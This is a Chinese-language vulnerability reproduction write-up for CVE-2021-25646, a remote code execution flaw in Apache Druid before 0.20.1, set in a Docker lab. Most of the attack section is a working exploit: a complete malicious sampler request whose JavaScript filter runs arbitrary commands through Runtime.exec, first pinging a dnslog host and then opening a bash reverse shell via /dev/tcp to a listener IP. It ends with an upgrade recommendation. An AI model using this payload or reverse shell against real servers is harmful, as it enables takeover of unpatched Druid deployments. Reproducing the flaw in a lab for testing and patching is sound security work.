0x00简介
Druid 是一个分布式的、支持实时多维 OLAP 分析的数据处理系统。它既支持高速的数据实时摄入处理，也支持实时且灵活的多维数据分析查询。因此 Druid 最常用的场景就是大数据背景下、灵活快速的多维 OLAP 分析。 另外，Druid 还有一个关键的特点：它支持根据时间戳对数据进行预聚合摄入和聚合分析，因此也有用户经常在有时序数据处理分析的场景中用到它。
Apache Druid 命令执行漏洞复现(CVE-2021-25646)
0x01漏洞概述
在Druid 0.20.0及更低版本中，用户发送恶意请求，利用Apache Druid漏洞可以执行任意代码。攻击者可直接构造恶意请求执行任意代码，控制服务器。
0x02影响版本
Apache Druid < 0.20.1
0x03环境搭建
1、本次环境使用docker搭建，需要在虚拟机安装docker，安装完成后使用以下命令pull漏洞环境
docker pull fokkodriesprong/docker-druid
Apache Druid 命令执行漏洞复现(CVE-2021-25646)
2、下载漏洞环境后使用以下命令启动漏洞环境
docker run --rm -i -p 8888:8888 fokkodriesprong/docker-druid
image3.png
3、启动后在浏览器访问http://your-ip:8888/看到以下界面表示成功
[图片上传失败...(image-779983-1616394748510)]
0x04漏洞复现
1、在浏览器进入Apache Druid首页如何点击点击左上方Load data -> Local disk按钮
Apache Druid 命令执行漏洞复现(CVE-2021-25646)
2、右侧表单填入Base directory:（quickstart/tutorial/）File filter:
（wikiticker-2015-09-12-sampled.json.gz）填入完成点击Preview，然后点击next
image4.png
3、打开burp并配置代理，然后一直点击next，直到下一步是Next：Filter时，抓取数据包
Apache Druid 命令执行漏洞复现(CVE-2021-25646)
Apache Druid 命令执行漏洞复现(CVE-2021-25646)
4、然后替换数据包中的data数据为以下代码，然后修改代码中的dnslog地址为自己的，点击发送，查看dnslog是否有数据
{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript",
"function":"function(value){return java.lang.Runtime.getRuntime().exec('ping kujqmk.dnslog.cn -c 1')}",
"dimension":"added",
"":{
"enabled":"true"
}
}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"4ddb48fdbad7406084e37a1b80100214"}}
image9.png
Apache Druid 命令执行漏洞复现(CVE-2021-25646)
5、修改dnslog地址为反弹shell的payload，在kali中设置监听，可以看到成功反弹shell
exec('/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/172.16.1.132/8896 0>&1')
image11.png
Apache Druid 命令执行漏洞复现(CVE-2021-25646)
0x05修复建议
1、升级到最新版Apache Druid，下载地址为
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